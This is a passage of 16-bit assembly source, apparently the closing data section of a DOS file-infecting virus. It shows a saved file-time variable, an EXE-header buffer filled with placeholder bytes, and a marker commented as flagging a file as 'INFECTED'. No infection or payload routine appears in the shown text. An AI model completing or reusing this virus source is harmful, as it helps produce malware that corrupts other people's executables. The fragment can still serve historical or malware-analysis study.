org_time dw 0 ;original file time
|
|
|
|
;-------------------------------------------------------------------------------
|
|
buffer db 0CDh,020h ; 0 (0) EXE file signature
|
|
db 090h,090h ; 2 (2) Length of file
|
|
db 090h,090h ; 4 (4) Size of file + header (512k)
|
|
db 090h,090h ; 6 (6) # of relocation items
|
|
db 090h,090h ; 8 (8) Size of header (16byte para)
|
|
db 090h,090h ; A (10) Min para needed (16byte)
|
|
db 090h,090h ; C (12) Max para needed (16byte)
|
|
db 090h,090h ; E (14) SS reg from start in para.
|
|
db 090h,090h ; 10(16) SP reg at entry
|
|
db 090h,090h ; 12(18) checksum
|
|
db 090h,090h ; 14(20) IP reg at entry
|
|
db 090h,090h ; 16(22) CS reg from start in para.
|
|
Marker db 0DBh,0DBh ; Marks THIS File as INFECTED!
|
|
last:
|
|
seg_a ends
|
|
end start
|